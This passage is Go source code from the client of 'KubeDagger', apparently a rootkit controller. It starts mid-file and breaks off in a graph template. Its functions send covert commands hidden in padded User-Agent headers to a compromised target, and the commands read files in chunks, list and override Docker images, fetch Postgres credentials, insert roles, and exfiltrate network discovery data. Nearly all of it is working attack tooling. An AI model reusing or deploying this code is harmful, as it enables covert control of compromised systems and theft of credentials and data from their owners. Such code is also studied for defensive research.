23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendDelImageOverrideRequest sends a request to remove a Docker image override on the target system 30 | func SendDelImageOverrideRequest(target string, from string) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/del_doc_img", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildDelAgent(from)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/docker/list.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package docker 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "net/http" 23 | "net/http/httputil" 24 | "os" 25 | "path" 26 | "strings" 27 | 28 | "github.com/sirupsen/logrus" 29 | 30 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 31 | ) 32 | 33 | // SendGetImagesListRequest sends a request list all the images detected by the rootkit 34 | func SendGetImagesListRequest(target string, output string) error { 35 | if len(output) > 0 { 36 | d := path.Dir(output) 37 | _ = os.MkdirAll(d, 0664) 38 | f, err := os.Create(output) 39 | if err != nil { 40 | logrus.Fatalf("couldn't create output file: %s", err) 41 | } 42 | _ = f.Close() 43 | } 44 | 45 | file := "/kubedagger/images_list" 46 | nextFile := "/kubedagger/images_list" 47 | var done bool 48 | var data string 49 | firstTry := true 50 | 51 | for !done { 52 | client := &http.Client{} 53 | req, err := http.NewRequest("GET", target+"/get_fswatch", nil) 54 | if err != nil { 55 | logrus.Fatalf("couldn't create HTTP request: %v", err) 56 | } 57 | 58 | req.Header.Set("User-Agent", buildUserAgent(nextFile, false, false)) 59 | 60 | if file == nextFile && firstTry { 61 | firstTry = false 62 | b, _ := httputil.DumpRequest(req, true) 63 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 64 | } 65 | 66 | resp, err := client.Do(req) 67 | if err != nil { 68 | logrus.Fatalf("couldn't send HTTP request: %v", err) 69 | } 70 | 71 | defer resp.Body.Close() 72 | body, err := ioutil.ReadAll(resp.Body) 73 | if err != nil { 74 | logrus.Fatalf("couldn't read HTTP response: %v", err) 75 | } 76 | 77 | if !isResponseValid(body) { 78 | continue 79 | } 80 | 81 | data += strings.Trim(string(body[:len(body)-6]), "_") 82 | 83 | if body[len(body)-5] == '_' { 84 | done = true 85 | continue 86 | } 87 | 88 | nextFile = fmt.Sprintf("%s%s", string(body[len(body)-4:]), nextFile[4:]) 89 | client.CloseIdleConnections() 90 | } 91 | 92 | if len(output) == 0 { 93 | logrus.Printf("Showing the list of images detected on the target system:\n%s\n", data) 94 | } else { 95 | if err := ioutil.WriteFile(output, []byte(data), 0664); err != nil { 96 | logrus.Fatalf("couldn't write data in output file: %s", err) 97 | } 98 | } 99 | return nil 100 | } 101 | 102 | func isResponseValid(body []byte) bool { 103 | if len(body) < 5 { 104 | return false 105 | } 106 | 107 | // check that the request was properly overwritten, otherwise retry 108 | nextOpChar := body[len(body)-5] 109 | if nextOpChar != '_' && nextOpChar != '#' { 110 | return false 111 | } 112 | for _, elem := range body[len(body)-4:] { 113 | if elem != '_' && elem < 65 && elem > 90 { 114 | return false 115 | } 116 | } 117 | return true 118 | } 119 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/docker/put.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package docker 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendPutImageOverrideRequest sends a request to override a Docker image on the target system 30 | func SendPutImageOverrideRequest(target string, from string, to string, override int, ping int) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/put_doc_img", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildPutAgent(from, to, override, ping)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/docker/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package docker 18 | 19 | import ( 20 | "fmt" 21 | 22 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 23 | ) 24 | 25 | func buildUserAgent(file string, inContainer bool, active bool) string { 26 | var flag int 27 | if inContainer { 28 | flag += 1 29 | } 30 | if active { 31 | flag += 2 32 | } 33 | userAgent := fmt.Sprintf("%d%s#", flag, file) 34 | 35 | // Add padding so that the request is UserAgentPaddingLen bytes long 36 | for len(userAgent) < model.UserAgentPaddingLen { 37 | userAgent += "_" 38 | } 39 | return userAgent 40 | } 41 | 42 | func buildPutAgent(from string, to string, override int, ping int) string { 43 | userAgent := fmt.Sprintf("%d%d%s#%s#", override, ping, from, to) 44 | 45 | // Add padding so that the request is UserAgentPaddingLen bytes long 46 | for len(userAgent) < model.UserAgentPaddingLen { 47 | userAgent += "_" 48 | } 49 | return userAgent 50 | } 51 | 52 | func buildDelAgent(from string) string { 53 | userAgent := fmt.Sprintf("%s#", from) 54 | 55 | // Add padding so that the request is UserAgentPaddingLen bytes long 56 | for len(userAgent) < model.UserAgentPaddingLen { 57 | userAgent += "_" 58 | } 59 | return userAgent 60 | } 61 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/fs_watch/add.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package fs_watch 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendAddFSWatchRequest sends a request to add a filesystem watch on the target system 30 | func SendAddFSWatchRequest(target string, file string, inContainer bool, active bool) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/add_fswatch", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildUserAgent(file, inContainer, active)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/fs_watch/delete.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package fs_watch 18 | 19 | import ( 20 | "io/ioutil" 21 | "net/http" 22 | "net/http/httputil" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | ) 28 | 29 | // SendDeleteFSWatchRequest sends a request to delete a filesystem watch on the target system 30 | func SendDeleteFSWatchRequest(target string, file string, inContainer bool, active bool) error { 31 | client := &http.Client{} 32 | 33 | req, err := http.NewRequest("GET", target+"/del_fswatch", nil) 34 | if err != nil { 35 | logrus.Fatalln(err) 36 | } 37 | 38 | req.Header.Set("User-Agent", buildUserAgent(file, inContainer, active)) 39 | 40 | b, err := httputil.DumpRequest(req, true) 41 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 42 | 43 | resp, err := client.Do(req) 44 | if err != nil { 45 | logrus.Fatalln(err) 46 | } 47 | 48 | defer resp.Body.Close() 49 | body, err := ioutil.ReadAll(resp.Body) 50 | if err != nil { 51 | logrus.Fatalln(err) 52 | } 53 | 54 | logrus.Debugf("\n%s", body) 55 | return nil 56 | } 57 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/fs_watch/get.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package fs_watch 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "net/http" 23 | "net/http/httputil" 24 | "os" 25 | "path" 26 | 27 | "github.com/sirupsen/logrus" 28 | 29 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 30 | ) 31 | 32 | // SendGetFSWatchRequest sends a request to add a filesystem watch on the target system 33 | func SendGetFSWatchRequest(target string, file string, inContainer bool, active bool, output string) error { 34 | if len(output) > 0 { 35 | d := path.Dir(output) 36 | _ = os.MkdirAll(d, 0664) 37 | f, err := os.Create(output) 38 | if err != nil { 39 | logrus.Fatalf("couldn't create output file: %s", err) 40 | } 41 | _ = f.Close() 42 | } 43 | 44 | nextFile := file 45 | var done bool 46 | var data string 47 | firstTry := true 48 | 49 | for !done { 50 | client := &http.Client{} 51 | req, err := http.NewRequest("GET", target+"/get_fswatch", nil) 52 | if err != nil { 53 | logrus.Fatalf("couldn't create HTTP request: %v", err) 54 | } 55 | 56 | req.Header.Set("User-Agent", buildUserAgent(nextFile, inContainer, active)) 57 | 58 | if file == nextFile && firstTry { 59 | firstTry = false 60 | b, _ := httputil.DumpRequest(req, true) 61 | logrus.Debugf("\n%s", utils.CleanupHost(string(b))) 62 | } 63 | 64 | resp, err := client.Do(req) 65 | if err != nil { 66 | logrus.Fatalf("couldn't send HTTP request: %v", err) 67 | } 68 | 69 | defer resp.Body.Close() 70 | body, err := ioutil.ReadAll(resp.Body) 71 | if err != nil { 72 | logrus.Fatalf("couldn't read HTTP response: %v", err) 73 | } 74 | 75 | if !isResponseValid(body) { 76 | continue 77 | } 78 | 79 | data += string(body[:len(body)-6]) 80 | 81 | if body[len(body)-5] == '_' { 82 | done = true 83 | continue 84 | } 85 | 86 | nextFile = fmt.Sprintf("%s%s", string(body[len(body)-4:]), nextFile[4:]) 87 | client.CloseIdleConnections() 88 | } 89 | 90 | if len(output) == 0 { 91 | logrus.Printf("Dump of %s:\n%s", file, data) 92 | } else { 93 | if err := ioutil.WriteFile(output, []byte(data), 0664); err != nil { 94 | logrus.Fatalf("couldn't write data in output file: %s", err) 95 | } 96 | } 97 | return nil 98 | } 99 | 100 | func isResponseValid(body []byte) bool { 101 | if len(body) < 5 { 102 | return false 103 | } 104 | 105 | // check that the request was properly overwritten, otherwise retry 106 | nextOpChar := body[len(body)-5] 107 | if nextOpChar != '_' && nextOpChar != '#' { 108 | return false 109 | } 110 | for _, elem := range body[len(body)-4:] { 111 | if elem != '_' && elem < 65 && elem > 90 { 112 | return false 113 | } 114 | } 115 | return true 116 | } 117 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/fs_watch/utils.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package fs_watch 18 | 19 | import ( 20 | "fmt" 21 | 22 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 23 | ) 24 | 25 | func buildUserAgent(file string, inContainer bool, active bool) string { 26 | var flag int 27 | if inContainer { 28 | flag += 1 29 | } 30 | if active { 31 | flag += 2 32 | } 33 | userAgent := fmt.Sprintf("%d%s#", flag, file) 34 | 35 | // Add padding so that the request is UserAgentPaddingLen bytes long 36 | for len(userAgent) < model.UserAgentPaddingLen { 37 | userAgent += "_" 38 | } 39 | return userAgent 40 | } 41 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/kubedagger-client.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package run 18 | 19 | import ( 20 | "regexp" 21 | "strings" 22 | 23 | "github.com/pkg/errors" 24 | "github.com/sirupsen/logrus" 25 | "github.com/spf13/cobra" 26 | 27 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/docker" 28 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/fs_watch" 29 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/model" 30 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/network_discovery" 31 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/pipe_prog" 32 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/postgres" 33 | ) 34 | 35 | func addFSWatchCmd(cmd *cobra.Command, args []string) error { 36 | logrus.SetLevel(options.LogLevel) 37 | return fs_watch.SendAddFSWatchRequest(options.Target, args[0], options.InContainer, options.Active) 38 | } 39 | 40 | func deleteFSWatchCmd(cmd *cobra.Command, args []string) error { 41 | logrus.SetLevel(options.LogLevel) 42 | return fs_watch.SendDeleteFSWatchRequest(options.Target, args[0], options.InContainer, options.Active) 43 | } 44 | 45 | func getFSWatchCmd(cmd *cobra.Command, args []string) error { 46 | logrus.SetLevel(options.LogLevel) 47 | return fs_watch.SendGetFSWatchRequest(options.Target, args[0], options.InContainer, options.Active, options.Output) 48 | } 49 | 50 | func putPipeProgCmd(cmd *cobra.Command, args []string) error { 51 | logrus.SetLevel(options.LogLevel) 52 | 53 | if len(options.From) > 16 { 54 | return errors.Errorf("'from' command too long (max is 16 chars): %s", options.From) 55 | } 56 | if strings.Contains(options.From, "#") { 57 | return errors.Errorf("'from' contains an illegal character ('#'): %s", options.From) 58 | } 59 | if len(options.To) > 16 || len(options.To) == 0 { 60 | return errors.Errorf("'to' command too long (max is 16 chars, min 1 char): %s", options.To) 61 | } 62 | if strings.Contains(options.To, "#") { 63 | return errors.Errorf("'to' contains an illegal character ('#'): %s", options.To) 64 | } 65 | if strings.Contains(args[0], "_") { 66 | return errors.Errorf("the piped program cannot contain a '_' character: %s", args[0]) 67 | } 68 | 69 | return pipe_prog.SendPutPipeProgRequest(options.Backup, options.Target, options.From, options.To, args[0]) 70 | } 71 | 72 | func delPipeProgCmd(cmd *cobra.Command, args []string) error { 73 | logrus.SetLevel(options.LogLevel) 74 | 75 | if len(options.From) > 16 { 76 | return errors.Errorf("'from' command too long (max is 16 chars): %s", options.From) 77 | } 78 | if strings.Contains(options.From, "#") { 79 | return errors.Errorf("'from' contains an illegal character ('#'): %s", options.From) 80 | } 81 | if len(options.To) > 16 || len(options.To) == 0 { 82 | return errors.Errorf("'to' command too long (max is 16 chars, min 1 char): %s", options.To) 83 | } 84 | if strings.Contains(options.To, "#") { 85 | return errors.Errorf("'to' contains an illegal character ('#'): %s", options.To) 86 | } 87 | 88 | return pipe_prog.SendDelPipeProgRequest(options.Target, options.From, options.To) 89 | } 90 | 91 | func getImagesListCmd(cmd *cobra.Command, args []string) error { 92 | logrus.SetLevel(options.LogLevel) 93 | return docker.SendGetImagesListRequest(options.Target, options.Output) 94 | } 95 | 96 | func putDockerImageOverrideCmd(cmd *cobra.Command, args []string) error { 97 | logrus.SetLevel(options.LogLevel) 98 | 99 | if len(options.From) == 0 { 100 | return errors.Errorf("'from' image is required") 101 | } 102 | if len(options.To) >= 64 || len(options.From) >= 64 { 103 | return errors.Errorf("'from' and 'to' image names must be at most 63 characters long: %s, %s", options.From, options.To) 104 | } 105 | if strings.Contains(options.From, "#") || strings.Contains(options.To, "#") { 106 | return errors.Errorf("'from' and 'to' image names cannot contain '#': %s, %s", options.From, options.To) 107 | } 108 | return docker.SendPutImageOverrideRequest(options.Target, options.From, options.To, options.Override, options.Ping) 109 | } 110 | 111 | func delDockerImageOverrideCmd(cmd *cobra.Command, args []string) error { 112 | logrus.SetLevel(options.LogLevel) 113 | 114 | if len(options.From) == 0 { 115 | return errors.Errorf("'from' image is required") 116 | } 117 | if len(options.From) >= 64 { 118 | return errors.Errorf("'from' image name must be at most 63 characters long: %s", options.From) 119 | } 120 | if strings.Contains(options.From, "#") { 121 | return errors.Errorf("'from' image name cannot contain '#': %s", options.From) 122 | } 123 | return docker.SendDelImageOverrideRequest(options.Target, options.From) 124 | } 125 | 126 | func getPostgresCredentialsCmd(cmd *cobra.Command, args []string) error { 127 | logrus.SetLevel(options.LogLevel) 128 | return postgres.SendGetPostgresSecretsListRequest(options.Target, options.Output) 129 | } 130 | 131 | func putPostgresRoleCmd(cmd *cobra.Command, args []string) error { 132 | logrus.SetLevel(options.LogLevel) 133 | 134 | if len(options.Role) == 0 { 135 | return errors.Errorf("'role' is required") 136 | } 137 | if len(options.Role) >= model.PostgresRoleLen { 138 | return errors.Errorf("'role' must be at most %d characters long: %s", model.PostgresRoleLen, options.Role) 139 | } 140 | if strings.Contains(options.Role, "#") { 141 | return errors.Errorf("'role' cannot contain '#': %s", options.Role) 142 | } 143 | return postgres.SendPutPostgresRoleRequest(options.Target, options.Role, options.Secret) 144 | } 145 | 146 | func delPostgresRoleCmd(cmd *cobra.Command, args []string) error { 147 | logrus.SetLevel(options.LogLevel) 148 | 149 | if len(options.Role) == 0 { 150 | return errors.Errorf("'role' is required") 151 | } 152 | if len(options.Role) >= model.PostgresRoleLen { 153 | return errors.Errorf("'role' must be at most %d characters long: %s", model.PostgresRoleLen, options.Role) 154 | } 155 | if strings.Contains(options.Role, "#") { 156 | return errors.Errorf("'role' cannot contain '#': %s", options.Role) 157 | } 158 | return postgres.SendDelPostgresRoleRequest(options.Target, options.Role) 159 | } 160 | 161 | func getNetworkDiscoveryCmd(cmd *cobra.Command, args []string) error { 162 | logrus.SetLevel(options.LogLevel) 163 | 164 | return network_discovery.SendGetNetworkDiscoveryRequest(options.Target, options.ActiveDiscovery, options.PassiveDiscovery) 165 | } 166 | 167 | var ipv4Regex = `^(((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)(\.|$)){4})` 168 | 169 | func getNetworkDiscoveryScanCmd(cmd *cobra.Command, args []string) error { 170 | logrus.SetLevel(options.LogLevel) 171 | if len(options.Range) == 0 || len(options.Range) >= 6 { 172 | return errors.Errorf("invalid 'range' value: %s (has ton be above 0 and below 100k)", options.Range) 173 | } 174 | match, _ := regexp.MatchString(ipv4Regex, options.IP) 175 | if !match { 176 | return errors.Errorf("invalid 'IP' format (expected X.X.X.X): %s", options.IP) 177 | } 178 | if len(options.Port) == 0 || len(options.Port) >= 6 { 179 | return errors.Errorf("invlid 'Port' value: %s", options.Port) 180 | } 181 | return network_discovery.SendNetworkDiscoveryScanRequest(options.Target, options.IP, options.Port, options.Range) 182 | } 183 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/model/model.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package model 18 | 19 | const ( 20 | // UserAgentPaddingLen defines the padding to add in the User-Agent header 21 | UserAgentPaddingLen = 500 22 | // PostgresSecretLen defines the length of a postgres md5 secret 23 | PostgresSecretLen = 35 24 | // PostgresRoleLen defines the length of a postgres role 25 | PostgresRoleLen = 64 26 | ) 27 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/network_discovery/get.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package network_discovery 18 | 19 | import ( 20 | "fmt" 21 | "os" 22 | "os/signal" 23 | 24 | "github.com/sirupsen/logrus" 25 | 26 | "github.com/yasindce1998/KubeDagger/cmd/kubedagger-client/run/utils" 27 | "github.com/yasindce1998/KubeDagger/pkg/model" 28 | ) 29 | 30 | type flow struct { 31 | saddr string 32 | daddr string 33 | sourcePort uint16 34 | destPort uint16 35 | flowType model.FlowType 36 | udpCount uint64 37 | tcpCount uint64 38 | } 39 | 40 | func (f flow) isPassive() bool { 41 | return f.flowType == model.IngressFlow || f.flowType == model.EgressFlow 42 | } 43 | 44 | func (f flow) isEmpty() bool { 45 | return f.saddr == "0.0.0.0" && f.daddr == "0.0.0.0" && f.sourcePort == 0 && f.destPort == 00 && f.flowType == 0 && f.udpCount == 0 && f.tcpCount == 0 46 | } 47 | 48 | func parseNetworkDiscoveryOutput(body []byte) ([]flow, bool) { 49 | var emptyCounter int 50 | for i, chr := range body { 51 | if chr == '*' { 52 | body[i] = 0 53 | } 54 | } 55 | 56 | // parse the 15 flows 57 | var flows []flow 58 | var cursor int 59 | for i := 0; i < 15; i++ { 60 | f := flow{ 61 | saddr: fmt.Sprintf("%d.%d.%d.%d", body[cursor], body[cursor+1], body[cursor+2], body[cursor+3]), 62 | daddr: fmt.Sprintf("%d.%d.%d.%d", body[cursor+4], body[cursor+5], body[cursor+6], body[cursor+7]), 63 | sourcePort: utils.ByteOrder.Uint16(body[cursor+8 : cursor+10]), 64 | destPort: utils.ByteOrder.Uint16(body[cursor+10 : cursor+12]), 65 | flowType: model.FlowType(utils.ByteOrder.Uint32(body[cursor+12 : cursor+16])), 66 | udpCount: utils.ByteOrder.Uint64(body[cursor+16 : cursor+24]), 67 | tcpCount: utils.ByteOrder.Uint64(body[cursor+24 : cursor+32]), 68 | } 69 | if f.isEmpty() { 70 | emptyCounter++ 71 | } else { 72 | flows = append(flows, f) 73 | } 74 | cursor += 32 75 | } 76 | return flows, emptyCounter == 15 77 | } 78 | 79 | // SendGetNetworkDiscoveryRequest sends a request to exfiltrate network discovery data from the target system 80 | func SendGetNetworkDiscoveryRequest(target string, activeDiscovery bool, passiveDicovery bool) error { 81 | var flows []flow 82 | var newFlows []flow 83 | var endOfFlows bool 84 | var start int 85 | var body []byte 86 | maxRequestsCount := 10 87 | retryCounter := 0 88 | 89 | sig := make(chan os.Signal, 1) 90 | signal.Notify(sig, os.Interrupt, os.Kill) 91 | 92 | getFlows: 93 | for !endOfFlows { 94 | select { 95 | case <-sig: 96 | break getFlows 97 | default: 98 | } 99 | 100 | _ = sendRequest("GET", target+"/get_net_dis", buildNetworkDiscoveryUserAgent(start)) 101 | 102 | // request file content 103 | body = []byte("{") 104 | retryCounter = 0 105 | for body[0] == '{' && retryCounter < maxRequestsCount { 106 | body = sendRequest("GET", target+"/get_fswatch", buildFSWatchUserAgent("/kubedagger/network_discovery", false, false)) 107 | retryCounter++ 108 | } 109 | newFlows, endOfFlows = parseNetworkDiscoveryOutput(body) 110 | start += len(newFlows) 111 | flows = append(flows, newFlows...) 112 | } 113 | 114 | // generate graph 115 | logrus.Infof("Dumping collected network flows (%d):", len(flows)) 116 | for _, f := range flows { 117 | fmt.Printf("%s:%d -> %s:%d (%d) UDP %dB TCP %dB\n", f.saddr, f.sourcePort, f.daddr, f.destPort, f.flowType, f.udpCount, f.tcpCount) 118 | } 119 | 120 | if err := generateGraph(flows, activeDiscovery, passiveDicovery); err != nil { 121 | logrus.Fatalln(err) 122 | } 123 | return nil 124 | } 125 | -------------------------------------------------------------------------------- /cmd/kubedagger-client/run/network_discovery/graph.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2023 MOHAMMED YASIN 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package network_discovery 18 | 19 | import ( 20 | "fmt" 21 | "io/ioutil" 22 | "net" 23 | "os" 24 | "strings" 25 | "text/template" 26 | 27 | "github.com/inhies/go-bytesize" 28 | "github.com/sirupsen/logrus" 29 | "golang.org/x/crypto/blake2b" 30 | 31 | "github.com/yasindce1998/KubeDagger/pkg/model" 32 | ) 33 | 34 | const ( 35 | udpColor = "1" 36 | tcpColor = "5" 37 | synColor = "9" 38 | ackColor = "4" 39 | rstColor = "9" 40 | arpColor = "6" 41 | ) 42 | 43 | type cluster struct { 44 | ID string 45 | Label string 46 | Nodes map[string]node 47 | } 48 | 49 | type node struct { 50 | ID string 51 | Label string 52 | Size int 53 | Color string 54 | } 55 | 56 | type edge struct { 57 | Link string 58 | Label string 59 | Color string 60 | Style string 61 | } 62 | 63 | type graph struct { 64 | Title string 65 | Hosts []cluster 66 | Edges []edge 67 | } 68 | 69 | func generateGraph(flows []flow, activeDiscovery bool, passiveDicovery bool) error { 70 | if activeDiscovery == false && passiveDicovery == false { 71 | passiveDicovery = true 72 | } 73 | 74 | tmpl := `digraph { 75 | label = "{{ .Title }}" 76 | labelloc 